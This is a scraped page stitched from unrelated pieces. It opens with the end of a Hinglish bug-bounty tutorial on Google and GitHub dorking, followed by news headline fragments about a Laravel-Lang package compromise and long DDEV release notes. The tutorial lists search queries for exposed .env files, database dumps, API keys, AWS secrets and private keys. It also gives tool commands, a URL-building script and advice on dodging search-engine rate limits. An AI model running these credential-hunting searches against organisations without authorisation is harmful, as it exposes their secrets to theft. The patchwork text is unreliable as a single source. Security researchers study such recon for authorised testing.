3. Ready dork copy karo
4. site:target.com add karo
5. Google pe search karo!

PART 4: Automated Dorking Elite Technique

Tool 1: dorkscout

# Install karo
pip3 install dorkscout

# Basic use
dorkscout -t example.com

# Custom dorks file ke saath
dorkscout -t example.com -d my_dorks.txt

Tool 2: Pagodo GHDB Automated

# Install karo
git clone https://github.com/opsdisk/pagodo.git
cd pagodo
pip3 install -r requirements.txt

# GHDB dorks download karo
python3 ghdb_scraper.py -j -s

# Automated dorking karo
python3 pagodo.py \
  -d example.com \
  -g dorks.txt \
  -l 50 \
  -s 30 \
  -e

Tool 3: Manual Elite Script

#!/bin/bash
# google_dork_elite.sh

TARGET=$1
echo "🔍 Google Dorking: $TARGET"
echo "══════════════════════════"

# Auto-open browser ke saath dorks
DORKS=(
  "site:$TARGET ext:env"
  "site:$TARGET ext:sql"
  "site:$TARGET intitle:\"Index of\""
  "site:$TARGET inurl:admin"
  "site:$TARGET \"api_key\""
  "site:$TARGET ext:bak"
  "site:$TARGET inurl:swagger"
  "site:$TARGET filetype:log"
  "site:$TARGET \"DB_PASSWORD\""
  "site:$TARGET inurl:phpinfo.php"
)

for dork in "${DORKS[@]}"; do
  ENCODED=$(python3 -c \
    "import urllib.parse; \
     print(urllib.parse.quote('$dork'))")
  echo "🎯 Dork: $dork"
  echo "🔗 URL: https://www.google.com/search?q=$ENCODED"
  echo "──────────────────────────────"
  sleep 2  # Rate limit avoid karo
done

PART 5: GitHub Dorking BONUS Elite Technique!

GitHub pe bhi dorking hoti hai aur wahan toh sach mein gems milti hain!

# GitHub Search mein:

# API Keys
org:targetcompany "api_key"
org:targetcompany "apikey"
org:targetcompany "secret_key"
# Passwords
org:targetcompany "password" filename:.env
org:targetcompany "DB_PASSWORD"
# AWS Keys
org:targetcompany "AWS_SECRET_ACCESS_KEY"
org:targetcompany "AKIA" (AWS Access Key prefix!)
# Private keys
org:targetcompany "BEGIN RSA PRIVATE KEY"
org:targetcompany "BEGIN DSA PRIVATE KEY"
# Config files
org:targetcompany filename:config.php "password"
org:targetcompany filename:.htpasswd
org:targetcompany filename:id_rsa
# Internal URLs
org:targetcompany "internal.company.com"
org:targetcompany "staging"
org:targetcompany "dev.company.com"

🤑 GitHub Dorking = Highest ROI! Developers accidentally push karte hain secrets phir delete karte hain lekin git history mein rehta hai!

GitHub Dorking Tool GitDorker

# Install karo
git clone https://github.com/obheda12/GitDorker
cd GitDorker
pip3 install -r requirements.txt

# Run karo
python3 GitDorker.py \
  -tf ~/.github_token \
  -q targetcompany \
  -d dorks/medium_dorks.txt

PART 6: Dorks Quick Reference Cheat Sheet

# ─── OPERATORS ────────────────────────────
site:          → Domain limit karo
inurl:         → URL mein text
intitle:       → Title mein text
intext:        → Content mein text
filetype:/ext: → File type
allinurl:      → URL mein sab words
"exact phrase" → Exact match
-word          → Exclude
OR             → Multiple options
*              → Wildcard
# ─── TOP BUG BOUNTY DORKS ─────────────────
site:T ext:env
site:T ext:sql
site:T intitle:"Index of"
site:T inurl:admin
site:T "api_key"
site:T ext:bak
site:T inurl:swagger
site:T "DB_PASSWORD"
site:T "BEGIN RSA PRIVATE KEY"
site:T inurl:phpinfo.php
site:T inurl:.git
site:T "debug=true"
site:T inurl:staging
site:T filetype:log "password"
site:T intext:"sql syntax error"

(T = target domain)

Important: Google Anti-Bot Se Kaise Bachein

❌ Problem: Bahut fast queries → Google CAPTCHA!

✅ Solution:
1. Queries ke beech 30-60 second wait karo
2. Google account se login karke use karo
3. VPN change karo agar block ho
4. Bing Dorks bhi try karo (less restrictive!)
5. Automated tools mein delay parameter use karo
Bing Version:
site:example.com filetype:sql
(Google jaisa kaam karta hai Bing pe bhi!)

Aaj Ka Homework

1. exploitdb.com/google-hacking-database kholo
2. "Files containing passwords" category dekho
3. Top 5 dorks copy karo
4. site:hackerone.com laga ke Google pe test karo
5. Kya koi interesting result mila?

Bonus:
6. GitHub pe search karo:
   org:google "api_key" filename:.env
   (Publicly accessible repos mein kya hai?)
7. Apna custom dork banao - comment mein share karo!

Quick Revision

🔍 Google Dorks = Special search queries
                  sensitive info expose karti hain
📚 GHDB         = 10,000+ ready-made dorks
🗂️ Best Dorks   = ext:env, ext:sql, "Index of",
                  "api_key", "DB_PASSWORD"
🐙 GitHub Dorks = Source code mein secrets dhundho
⚠️ Rate Limit   = Slow down — CAPTCHA se bachna
🔑 Key Insight  = Google ne index kar rakha hai —
                  tum sirf query likhte ho!
💰 Bug Types    = Config exposure, API key leak,
                  Admin panels, Directory listing,
                  Database backups

Meri Baat…

Ek din maine ek bug bounty program pe simple dork lagaya:

site:targetcompany.com ext:env

Pehla result:

https://targetcompany.com/backend/.env

Content:
APP_NAME=TargetApp
APP_ENV=production
APP_KEY=base64:xxxxxxxxxxx
DB_CONNECTION=mysql
DB_HOST=db.internal.targetcompany.com
DB_PORT=3306
DB_DATABASE=production_db
DB_USERNAME=root
DB_PASSWORD=SuperSecret123!
STRIPE_SECRET=sk_live_xxxxxxxxxxxxxxxxxx
AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxxxxx

Poori company ki production credentials.env file publicly accessible!

Stripe live key, AWS secret key, database root password sab kuch ek file mein।

Bounty: $5,000 Critical! 🎉

Google pe 30 second mein mila koi tool install nahi, koi scan nahi!

Lesson: Sabse powerful tool kabhi kabhi sirf ek Google search hota hai!

Agle article mein Waybackurls + GAU Internet Archive se purane hidden endpoints nikalo jo developers sochte hain “delete” ho gaye lekin actually abhi bhi exist karte hain! 🔥

HackerMD Bug Bounty Hunter | Cybersecurity Researcher
GitHub: BotGJ16 | Medium: @HackerMD

Previous: Article #10 Shodan + Censys
Next: Article #12 Waybackurls + GAU: Purane Endpoints Se Bugs Nikalo!

#GoogleDorks #GHDB #BugBounty #Recon #EthicalHacking #Hinglish #PassiveRecon #GitHubDorking #HackerMD

Google Dorks Google Ko Bana Do Apna Hacking Tool: Free Mein Bugs Dhundho! (Hinglish Mein) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Read more →

The post Malware Found in Laravel-Lang Composer Packages After Git Tag Poisoning Attack appeared first on IT Security News.

Read more →

The post Laravel-Lang Packages Poisoned for Malware Delivery appeared first on IT Security News.

The post Laravel-Lang Packages Poisoned for Malware Delivery appeared first on SecurityWeek.

Dieser Beitrag Supply-Chain-Angriff auf Laravel-Lang: Credential Stealer über kompromittierte PHP-Packages erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Dieser Beitrag Supply-Chain-Angriff in Laravel-Lang: 233 Backdoor-Versionen kompromittiert erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Dieser Beitrag Angriff auf Laravel-Lang-PHP-Packages: Credential Stealer über kompromittierte Composer-Tags erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

The post Threat Actor Compromised 233 Versions of Laravel-Lang Packages by Hacking 700 GitHub Repos appeared first on Cyber Security News.

Read more →

The post Laravel-Lang PHP Packages Compromised to Deliver Cross-Platform Credential Stealer appeared first on IT Security News.

The post Hackers Compromise Laravel-Lang Packages via 700 GitHub Repos appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Read more →

The post Hackers Compromise Laravel-Lang Packages via 700 GitHub Repos appeared first on IT Security News.

Read more →

The post IT Security News Hourly Summary 2026-05-23 09h : 2 posts appeared first on IT Security News.

Read more →

The post Hackers Compromised 233 Versions of Laravel-Lang Packages by Hacking 700 GitHub Repos appeared first on IT Security News.

The post Hackers Compromised 233 Versions of Laravel-Lang Packages by Hacking 700 GitHub Repos appeared first on Cyber Security News.

Read more of this story at Slashdot.

See the installation instructions for details, but it's easy:

• macOS: brew install ddev/ddev/ddev or just brew upgrade ddev.
• Linux or WSL2: Use apt install ddev or apt upgrade ddev see apt/yum installation
• Traditional Windows: Use choco upgrade -y ddev, or download the ddev_windows_installer below.
• Consider ddev delete images or ddev delete images --all after upgrading to free up disk space used by previous docker image versions. This does no harm.
• Consider ddev config --auto to update your projects to current configuration.

Highlights:

• Sponsored by the TYPO3 Community: Integrate XHGui into DDEV, enable it with ddev poweroff && ddev config global --xhprof-mode=xhgui, then use ddev xhgui in any of your projects.
• DevDb VS Code extension: First class support for DDEV, thanks to @damms005

Features:

• Optional Docker Compose profiles: You can now start projects with specific profiles using ddev start --profiles=list,of,profiles
• Backdrop: a new quickstart based on the official add-on, thanks to @laryn
• New MutagenSync annotation: Custom commands that alter the host system can now use this annotation to help synchronize changes.

Bug Fixes:

• DDEV router now works properly behind proxies (regression from v1.24.0).
• Show router URLs in ddev describe and ddev list when default 80/443 port is busy (regression from v1.24.3).
• Correct status color formatting in ddev describe and ddev list.
• Remove outdated Traefik images with ddev delete images, thanks to @rpkoller
• Resolve misleading errors in ddev debug test when run outside the project root.
• Fix invalid upload_dirs on traditional Windows setups.
• Sanitize ~/.ddev/project_list.yaml to prevent panic.
• Make the DDEV_PAGER environment variable optional to prevent it from breaking wp-cli output.
• Prevent overwriting the generic project type when running ddev config --update.
• Update DATABASE_URL to use charset=utf8mb4 in MySQL and MariaDB for Symfony projects, thanks to @RubenColpaert
• Delete third-party built images on ddev delete.

Minor Updates:

• PHP 8.3.19 and 8.4.5
• Fix displaying for #ddev-description stanza in add-on install actions, thanks to @hanoii
• Show custom config.*.yaml on ddev start, thanks to @hanoii
• Laravel 12 quickstart with tests.
• Update DDEV brand logos for dark theme.
• Update all Go vendor dependencies.
• Add quickstart tests for Magento 2, CakePHP, ExpressionEngine, Kirby CMS, Symfony, Silverstripe CMS, CraftCMS, and Statamic, thanks to @rpkoller
• Add OpenMage/Magento 1 quickstart test and split it from Magento 2, thanks to @sreichel

What's Changed

• fix: the #ddev-description stanza in add-on install actions not showing if it's the first line by @hanoii in #7022
• feat: add go-version to ddev version, fixes #7021 by @stasadev in #7023
• feat: Add live link to Discord by @tyler36 in #7042
• docs: remove the recommendation not to use colima by @rfay in #7025
• build: fix new mkdocs failure on git by @rfay in #7046
• refactor: use ddev composer create-project in the code, for #6920 by @stasadev in #7027
• feat: Laravel 12 quickstart with tests by @stasadev in #7028
• fix: delete traefik images based on the pattern used for ddev-dbserver and use constants for targeting, fixes #6326 by @rpkoller in #7036
• feat: Support docker compose optional profiles, allow ddev start --profiles=list,of,profiles, for #6894 by @rfay in #7007
• fix: explicitly ping 127.0.0.1 in Traefik healthcheck to make proxying work, fixes #7044, fixes #6931 by @stasadev in #7045
• fix: remove refreshenv from WSL2 install scripts, fixes #7024 [skip ci] by @rfay in #7026
• docs: add Backdrop-specific config considerations. by @laryn in #7037
• build: don't use go 1.24 yet until docker issues resolved, fixes #7051 by @rfay in #7057
• test: Run quickstart tests with mutagen enabled [skip buildkite] by @rfay in #7017
• docs: Improve troubleshooting docs for hosting by @rfay in #7056
• build: skip testing with buildkite if diff is not from that branch by @stasadev in #7064
• docs: update mkdocs logo, update word/figurative mark svg for dark mode by @stasadev in #7055
• build: put both git and ssh in both webserver images, fixes #7054 by @rfay in #7063
• build: Use specific binfmt for qemu in push-tagged-image [skip ci] by @rfay in #7070
• build: use special qemu binfmt version for db push [skip ci] by @rfay in #7073
• fix: add check for app in ddev debug test and run it from approot by @stasadev in #7072
• build: Update go mod files except docker, replaces #7074 by @rfay in #7078
• test: don't load 1password secrets if not available [skip buildkite] by @rfay in #7088
• test: Fix secret loading [skip buildkite] by @rfay in #7090
• build: upgrade docker/docker to v28 usages, followup to #7078, fixes #7079 by @rfay in #7081
• docs: Fix pull request title link in pull request template [skip ci] by @rfay in #7097
• test: Add quickstart test for magento2 (by @rpkoller) [skip buildkite] by @rfay in #7082
• test: Disable link check on freedesktop.org since it will be out for a week by @rfay in #7100
• docs: add Wordpress special handling info about wp-cli.yml by @nickchomey in #7080
• docs: add DevDb tip to database management documentation by @damms005 in #7084
• docs: update Windows installation docs to use 'Docker Engine' terminology by @Nick-Hope in #7092
• fix: use filepath for calculateHostUploadDirFullPath, fixes #7065 by @rfay in #7066
• test: simplify the zip based test and quickstart for backdrop based on feedback from @stasadev by @rpkoller in #7106
• test: use a more robust approach downloading the latest zip file (by @stasadev) by @rpkoller in #7104
• test: Bats test for CakePHP composer quickstart by @rpkoller in #7103
• test: bats tests for expression engine and adjustments to its quickstart by @rpkoller in #7101
• test: adding kirby quickstart bats test by @rpkoller in #7099
• fix: remove obsolete references to non-traefik router by @rfay in #7096
• fix: add ddev_nointeractive to common-setup.bash (per @stasadev) by @rpkoller in #7115
• test: attempt to fix the returned 503 error on ee tests [skip buildkite] by @rpkoller in #7114
• test: symfony bats tests by @rpkoller in #7102
• docs: Update quickstart.md to remove Drupal CMS zip file instructions by @phenaproxima in #7119
• test: adding silverstripe quickstart bats test by @rpkoller in #7112
• test: craftcms bats test by @rpkoller in #7107
• docs: ddev debug rebuild is great for debugging [skip buildkite] by @rfay in #7120
• test: bats test for Statamic Composer quickstart [skip buildkite] by @rpkoller in #7116
• test: add OpenMage/Magento 1 quickstart test and split it from Magento 2, for #7094 by @sreichel in #7091
• feat: show config..yml on ddev start by @hanoii in #7089
• fix: make linkspector ignorePatterns work properly, for #6951 by @stasadev in #7125
• docs: Add docs about configuring browser for HTTPS certificates by @MurzNN in #7075
• test: adjust openmage bats test assertions to the now available demo content by @rpkoller in #7126
• build: remove go toolchain, bump docker library to 28.0.2, for #7057 by @stasadev in #7127
• test: improve ddev debug test by @stasadev in #7128
• docs: ignore mutagen links in linkspector by @stasadev in #7129
• docs: fix example file name by @stasadev in #7130
• fix: sanitize ~/.ddev/project_list.yaml, fixes #7132 by @stasadev in #7136
• fix: set NO_PROXY=* in ddev-router to allow internal connections, use default Traefik config file location by @stasadev in #7118
• feat: Integrate XHGui into DDEV, fixes #6894 by @rfay in #7069
• refactor: remove solrtail from installed example commands, fixes #7139 by @shelane in #7140
• fix: don't override generic type in ddev config --update, fixes #7035 by @stasadev in #7137
• build: migrate golangci-lint to v2, bump golangci/golangci-lint-action from 6 to 7 by @dependabot in #7141
• fix: reload app hooks after uninstalling ddev-xhgui add-on, fixes #7144 by @stasadev in #7145
• fix: make DDEV_PAGER optional, update docs for PAGER, fixes #7032 by @stasadev in #7138
• fix: db warning on config --update should only be shown for default db type by @stasadev in #7143
• fix: remove XHGui volume for /run/nginx, for #7069 by @stasadev in #7142
• fix: don't auto show release notes in windows installer, for #7049 by @rfay in #7147
• feat: add MutagenSync annotation for custom commands, for #7053 by @stasadev in #7124
• docs: Add the xhgui container to the building and contributing page. Add more description to the xhprof profiling page. by @PierrePaul in #7168
• fix: use charset=utf8mb4 in DATABASE_URL for Symfony environment variables, fixes #7068 by @RubenColpaert in #7076
• fix: correct status color formatting in ddev describe and ddev list by @stasadev in #7158
• fix: use correct autoloader for XHGui php-profiler, preinstall it in ddev-webserver, fixes #7170 by @stasadev in #7172
• docs: update Craft CMS quickstart, for #7107 by @stasadev in #7160
• feat: backdrop add bee to quickstart by @laryn in #7053
• build: bump actions/setup-python from 5.4.0 to 5.5.0 by @dependabot in #7173
• fix: show router URLs in ddev describe and ddev list when ephemeral by @stasadev in #7152
• build: bump XHGui image to 0.23, for #7142 by @stasadev in #7161
• feat: Implement amplitude tracking for xhprof_mode, fixes #7169 by @rfay in #7175
• fix: delete third-party built images on ddev delete by @stasadev in #7150
• test: Add OpenMage composer quickstart and tests by @sreichel in #7133
• build: bump images to v1.24.4 for release, and docker-compose to v2.34.0, fixes #7131 by @stasadev in #7162

New Contributors

• @nickchomey made their first contribution in #7080
• @damms005 made their first contribution in #7084
• @phenaproxima made their first contribution in #7119
• @shelane made their first contribution in #7140
• @PierrePaul made their first contribution in #7168
• @RubenColpaert made their first contribution in #7076

Full Changelog: v1.24.3...v1.24.4

See the installation instructions for details, but it's easy:

• macOS: brew install ddev/ddev/ddev or just brew upgrade ddev.
• Linux: Use apt install ddev or apt upgrade ddev see apt/yum installation
• Windows and WSL2: Download the ddev_windows_amd64_installer.v1.24.8.exe; you can run it for install or upgrade.
• Consider ddev delete images or ddev delete images --all after upgrading to free up disk space used by previous Docker image versions. This does no harm.
• Consider ddev config --auto to update your projects to current configuration.

⚠️ Docker Buildx is now required for Docker Compose

Warning: Docker Compose is configured to build using Bake, but buildx isn't installed

Error: fork/exec ~/.docker/cli-plugins/docker-buildx: no such file or directory

Docker Compose changed its default builder to Bake in v2.37.0.

DDEV v1.24.7 and below used older Docker Compose versions that relied on the legacy builder, but v1.24.8 uses a newer Docker Compose version that defaults to Bake, which requires Docker Buildx.

Solution: Ensure Docker Buildx is installed on your system. Most modern Docker installations include Buildx by default, but if you encounter this error, you may need to update Docker or manually install the Buildx plugin.

⚠️ Pantheon provider changes

DDEV v1.24.8 provides .ddev/providers/pantheon.yaml by default, which means if you already have this file with a #ddev-generated line inside, it will be overridden on upgrade:

• See the configuration changes directly in .ddev/providers/pantheon.yaml
• Learn how to set the PANTHEON_SITE and PANTHEON_ENVIRONMENT variables in Pantheon Integration.

If you want to keep using .ddev/providers/pantheon.yaml from DDEV v1.24.7 and below:

• Remove the #ddev-generated line from your existing file and commit the change to git. DDEV will then leave your customized configuration untouched.
• Or rename it to .ddev/providers/<anything>.yaml, for example .ddev/providers/staging.yaml, and use it with ddev pull staging.

Highlights

• Experimental support for add-ons written primarily in PHP
• ddev add-on get can now automatically download add-on dependencies
• ddev add-on get <your **PRIVATE** GitHub repo>: Support for DDEV_GITHUB_TOKEN as a bearer token for GitHub downloads and private GitHub add-ons
• Support for alternative GitHub token environment variables: DDEV_GITHUB_TOKEN (highest priority), GH_TOKEN (lower priority than DDEV_GITHUB_TOKEN), GITHUB_TOKEN (lowest priority)
• Parallel Docker image pulls for faster performance, thanks to @glensc for the idea
• Improved Pantheon provider support, .ddev/providers/pantheon.yaml provided by default
• Upsun support for multiple apps and multiple databases
• https://docs.ddev.com/ is now the canonical documentation source (replaces https://ddev.readthedocs.io/)
• Dynamic DDEV project sponsorship information if provided once a day on ddev start.

Features

• ddev debug download-images --all now pulls all images for all projects
• ddev heidisql now works on Linux, thanks to @punkrock34
• New ddev npx global command, thanks to @dragonwize
• host.docker.internal now available in all containers, not just web
• Pantheon provider now always pulls current upstream database (instead of a backup) and uses the Terminus rsync plugin for file push, thanks to @danny2p
• Traefik healthcheck extended to validate file routers and detect config errors
• Improved support for ddev config global --no-bind-mounts with automated testing
• Manual testing with macOS 26 Tahoe (beta) shows no obvious problems; All Docker providers were casually tested.

Bug Fixes

• Fix non-working ddev-hostname for Homebrew installations on Linux
• Add missing ephemeral port handling to XHGui service, thanks to @AkibaAT
• Allow .DS_Store files in ddev composer create-project
• Fix ddev describe to show exposed ports correctly on new Docker Desktop versions
• Fix nginx configuration for Backdrop routes conflicting with directories
• Use stable branch for magerun autocompletion script
• Don't edit Laravel database config in .env when no database is present, thanks to @cyppe
• Remove obsolete PHP 8.4 php.ini configuration, thanks to @kaystrobach for the report
• Improve handling of "Failed to copy script" errors in the Windows installer

Internal Improvements

• Major refactoring of internal Docker logic to reduce API calls and improve error handling
• Set 20-minute download timeout for docker-compose and retry with doubled timeout on context deadline exceeded
• Remove docker context inspect calls from each ddev command and use the Docker CLI API
• ddev auth ssh now uses the Docker API instead of docker run and supports stdin
• Better reporting of MariaDB/MySQL/PostgreSQL client installation failures; removed download timeouts
• Replace the Docker image busybox:stable with ddev/ddev-utilities:latest for internal use

Minor Updates

• PHP 8.3.25 and 8.4.12
• Xdebug 3.4.5
• Docker Compose v2.39.3
• Add SVG support to TYPO3 nginx rewrite rules, thanks to @dhuf
• Disable innodb_use_native_aio for MariaDB 10.6 (upstream change)
• Forward *_PROXY and DDEV_* environment variables for root user in web container
• Add DDEV version output to ddev describe, thanks to @tomasnorre
• Add warnings for empty pull/push operations in hosting providers

What's Changed

• docs: Add CLAUDE.md to provide general prompts about behavior by @rfay in #7467
• fix: Allow .DS_Store when doing ddev composer create-project [skip ci] by @rfay in #7469
• ci: install ddev on Windows before test by @stasadev in #7471
• refactor: use compose-spec/compose-go/v2 for fixupComposeYaml by @stasadev in #7422
• test: add a no-interaction flag to the install command in ibexa bats file by @rpkoller in #7479
• docs: note about Flags annotation with unknown flags, for #7451 by @stasadev in #7478
• feat: update Pantheon provider to use environment variables, fixes #4760 by @rfay in #7475
• docs: Fix links pantheon.yaml.example -> pantheon.yaml by @rfay in #7481
• fix: Attempt to resolve windows installer problems with 'Failed to copy script', fixes #7485, for #7477 by @rfay in #7493
• docs: explain how to make build stage in docker-compose.*.yaml work offline by @stasadev in #7480
• feat: extend Traefik healthcheck to validate file routers and config errors, fixes #6463, fixes #6553 by @stasadev in #7442
• feat: parallel docker-compose pull, improve ddev debug download-images, fixes #7163 by @stasadev in #7483
• test: ngrok broke their installation moving to bookworm, fix it by @rfay in #7501
• build: use ddev/ddev-utilities instead of busybox, fixes #7499 by @rfay in #7500
• fix: Update obsolete WSL2 install scripts to reflect new ddev-wsl2 and not needing ddev.exe, fixes #7464 [skip ci] by @rfay in #7474
• ci: enforce conventional commits format for PR titles [skip buildkite] by @rfay in #7513
• docs(claude): enhance CLAUDE.md with GitHub workflow guidance [skip buildkite] by @rfay in #7497
• docs(wsl): add wsl --update command for Windows by @adiati98 in #7476
• refactor: add svg to rewrite rule for TYPO3 by @dhuf in #7482
• ci(pr-check): loosen start and middle rules for message [skip ci], for #7513 by @stasadev in #7515
• feat(sponsorship): add ability to download sponsorship data and other generic data, for #6892 by @rfay in #7502
• chore: revert 3 github copilot commits that it (I) shouldn't have done [skip ci] by @rfay in #7517
• fix(ddev-hostname): sudo can't find ddev-hostname in linuxbrew, fixes #7510 by @rfay in #7512
• chore(localdev): add path management to .envrc [skip ci] by @rfay in #7516
• fix(traefik): improve router port discovery and optimize YAML writes, fixes ddev/ddev-mongo#24 by @stasadev in #7507
• build(deps): bump actions/checkout from 4 to 5 by @dependabot[bot] in #7521
• build(direnv): Make direnv .envrc idempotent so it doesn't do all that work all the time by @rfay in #7520
• build(mariadb): turn off innodb_use_native_aio for mariadb:10.6 by @rfay in #7525
• refactor: replace docker context with docker/cli library, fixes #5862, fixes #6557 by @stasadev in #7189
• fix(testddevexportdb): postgres:14 output dump statement was suddenly more than 80 characters from end by @rfay in #7528
• feat: replace docker run in ddev auth ssh with Docker API and accept stdin by @stasadev in #7511
• docs: enhance CLAUDE.md development workflow documentation [skip ci] by @rfay in #7532
• feat(tools): consolidate development tool installations into unified script [skip ci] by @rfay in #7530
• docs(troubleshooting): add more links to mutagen troubleshooting by @rfay in #7529
• fix: make ddev describe work correctly with new Docker Desktop, for docker/for-mac#7742 by @rfay in #7531
• build: add optional notarization skip via DISABLE_NOTARIZATION variable [skip ci] by @rfay in #7534
• build(webserver): add *_PROXY and DDEV_* env for sudo; testing docs, fixes #7413 by @stasadev in #7535
• refactor(docker): suppress any output (stdout, stderr) from docker/cli, for #7189 by @stasadev in #7536
• feat: Upsun support for PLATFORM_APP and PLATFORM_PRIMARY_RELATIONSHIP by @stasadev in #7437
• feat: add Linux support for heidisql command by @punkrock34 in #7399
• fix(backdrop): Fix nginx config for routes conflicting with directories, fixes #7495 by @rfay in #7496
• fix(pantheon): update Pantheon database pull to get fresh DB and file push to be CMS-agnostic, fixes #5215, fixes #4760 by @danny2p in #7486
• docs: fiddle with sponsorship title [skip ci] by @rfay in #7540
• fix: quote DDEV_PRIMARY_URL expansion in launch script to handle empty values, fixes #7424 by @rfay in #7548
• fix: add mutagen sync flush after XHProf enable to prevent intermittent test failures by @rfay in #7543
• chore(deps): bump docker-compose to v2.39.2, remove COMPOSE_BAKE=false by @stasadev in #7545
• feat: add ddev version to ddev describe command, fixes #7398 by @tomasnorre in #7541
• docs: add sponsorship banner to documentation, for #6892 by @rfay in #7551
• docs: Use docs.ddev.com instead of ddev.readthedocs.io by @rfay in #7552
• feat: support add-ons written primarily in PHP, fixes #7316 by @rfay in #7523
• docs: Fix blog link in main nav by @mxr576 in #7566
• test: jq is not available on Windows, use docker run -i ddev/ddev-utilities by @rfay in #7564
• test: Skip TestComposerCreateProjectCmd on Windows where it hangs by @rfay in #7565
• fix(magerun): use stable branch for autocompletion by @stasadev in #7567
• test(buildkite): do better cleaning up volumes before running test by @rfay in #7568
• test(buildkite): Minor fixup for buildkite timeout by @rfay in #7571
• chore(mkdocs): disable privacy plugin for local builds, for #6027 [skip ci] by @stasadev in #7569
• build(deps): bump 1password/load-secrets-action from 2 to 3 [skip buildkite] by @dependabot[bot] in #7561
• build(dbserver): switch to bitnamilegacy/mysql for MySQL 8.0 and 8.4, for #7470 by @stasadev in #7570
• build: go back to stable spf/cobra, reverting #7445, bump go-viper/mapstructure, replaces #7547 by @rfay in #7580
• fix: add missing ephemeral port handling to xhgui service, fixes #7557 by @AkibaAT in #7560
• fix(provider): add warnings for empty pull/push, fixes #7576 by @stasadev in #7578
• fix: report MariaDB/MySQL/PostgreSQL client install failures and refactor timeout logic by @rfay in #7542
• docs(provider): soften language about use of provider push by @rfay in #7581
• fix: cache WarningOnce, reduce NewApp calls, handle GetDockerClient errors, for #7472 by @stasadev in #7574
• fix: set 20m download timeout and retry with doubled timeout on "context deadline exceeded", fixes #7298 by @stasadev in #7575
• build: gitignore/CLAUDE.md nitpicks [skip ci] by @rfay in #7588
• refactor: add dockerManager singleton, split dockerutils.go, add IsWindows/IsMacOS/IsLinux by @stasadev in #7587
• test(buildkite): buildkite can take a few minutes to pull new images [skip ci] by @rfay in #7596
• build(deps): bump actions/setup-go from 5 to 6 by @dependabot[bot] in #7602
• build(deps): bump actions/setup-python from 5.6.0 to 6.0.0 by @dependabot[bot] in #7601
• build(deps): bump actions/github-script from 7 to 8 by @dependabot[bot] in #7600
• feat: provide host.docker.internal for all services, fixes #7537 by @stasadev in #7572
• test(xhgui): add more retries for GetLocalHTTPResponse, for #7543 by @stasadev in #7606
• feat(add-ons): add-on dependencies should be automatically downloaded, fixes #5337 by @rfay in #7586
• test: re-enable no-bind-mounts test since it's used some places [skip buildkite] by @rfay in #7591
• fix(laravel): don't edit database config in .env when there's no database by @cyppe in #7584
• feat: use DDEV_GITHUB_TOKEN as bearer token for downloads from GitHub, fixes #5285 by @stasadev in #7598
• refactor(add-ons): dependencies in add-ons must be canonical, can't be relative or absolute by @rfay in #7613
• docs: fix typo in documentation by @hockdudu in #7618
• fix(ddev-php-base): Remove php8.4-obsolete config, fixes #7616 by @rfay in #7617
• docs: remove Prerequisite section by @gitressa in #7621
• docs: clarify comments in the Drupal 10 and 11 quickstarts, fixes #7619 by @brookemahoney in #7620
• feat: add ddev npx command by @dragonwize in #7599
• docs: offer help on out-of-disk-space warning, fixes #7592 by @rfay in #7622
• build: bump docker-compose to v2.39.3 by @stasadev in #7623
• docs: add GitHub Copilot instructions, fixes #7626 by @Copilot in #7627
• build: bump Docker images to v1.24.8 for release, for #7526 by @stasadev in #7628
• fix: don't show timeout suggestion for ddev-router and ddev-ssh-agent on ddev start by @stasadev in #7633
• chore: update schema.json, global_config.yaml, config.yaml templates by @stasadev in #7634
• feat: improve ddev debug test by @stasadev in #7636

New Contributors

• @adiati98 made their first contribution in #7476
• @dhuf made their first contribution in #7482
• @punkrock34 made their first contribution in #7399
• @danny2p made their first contribution in #7486
• @cyppe made their first contribution in #7584
• @hockdudu made their first contribution in #7618
• @brookemahoney made their first contribution in #7620
• @dragonwize made their first contribution in #7599
• @Copilot made their first contribution in #7627

Full Changelog: v1.24.7...v1.24.8

See the installation instructions for details, but it's easy:

• macOS: brew install ddev/ddev/ddev or just brew upgrade ddev.
• Linux: Use sudo apt-get update && sudo apt-get install ddev, see apt/yum installation
• Windows and WSL2: Download the ddev_windows_amd64_installer.v1.24.9.exe; you can run it for install or upgrade.
• Consider ddev delete images or ddev delete images --all after upgrading to free up disk space used by previous Docker image versions. This does no harm.
• Consider ddev config --auto to update your projects to current configuration.

⚠ Warning

DDEV v1.24.9 release introduced a regression affecting CI environments (e.g., GitHub Actions) when using custom project TLDs. Do not use v1.24.9 in CI. Upgrade to v1.24.10 instead. Local-only users are unaffected.

Highlights

• Support for PHP 8.5.0 RC 3 (note: some extensions are not yet available: apcu, imagick, memcached, redis, uploadprogress, xdebug, xhprof, xmlrpc, yaml)
• Support for PostgreSQL 18
• Automatic HTTP/S communication between DDEV projects - no need to manually configure external_links
• Option to omit project names in .ddev/config.yaml by default with ddev config global --omit-project-name-by-default=true - useful when working with multiple Git worktrees
• Auto-discovery of PLATFORM_PROJECT and PLATFORM_ENVIRONMENT from existing config for Upsun Flex and Upsun Fixed (Platform.sh) provider integrations

Features

• New ddev utility diagnose command for quick diagnostics on your DDEV installation and current project
• New ddev add-on search command, thanks to @AkibaAT
• New ddev xdebug info command to display xdebug_info() output
• Customize ddev describe output using the x-ddev.describe-* extensions - useful for add-ons
• Change ddev ssh shell using the x-ddev.ssh-shell extension - useful for add-ons
• New --user/-u flag for ddev exec and ddev ssh
• exec hooks now support the user field
• New pre-share and post-share hooks. This can help change the required URL for ddev share in CMSs like WordPress and Magento2.
• PostgreSQL connection support in ddev heidisql, thanks to @raphaelportmann
• Show failed container logs on project start by running DDEV_DEBUG=true ddev start
• Enhanced composer_root support for app type detection in CakePHP, Craft CMS, Laravel, Magento 2, Shopware 6, and Symfony, thanks to @vanWittlaer for initial PR for Shopware 6
• Silence warnings about custom configuration files in the .ddev directory by adding #ddev-silent-no-warn to the file. Documentation

Bug Fixes

• PostgreSQL now runs as container user (mirrored from host user) instead of postgres:postgres
• ddev describe now works with stopped or broken containers
• Improved support for DDEV_* environment variables in PHP-based add-ons
• APP_DEFAULT_LOCALE is no longer overridden in CakePHP, thanks to @tyler36
• Removed hardcoded --server-id=0 parameter from MySQL/MariaDB startup, thanks to @cyppe
• Fixed docker-compose warnings on ddev start when project root .env file contains dollar signs
• ddev add-on get now retries without authentication on invalid GitHub token
• Debug and verbose output now suppressed when using --json-output/-j flag
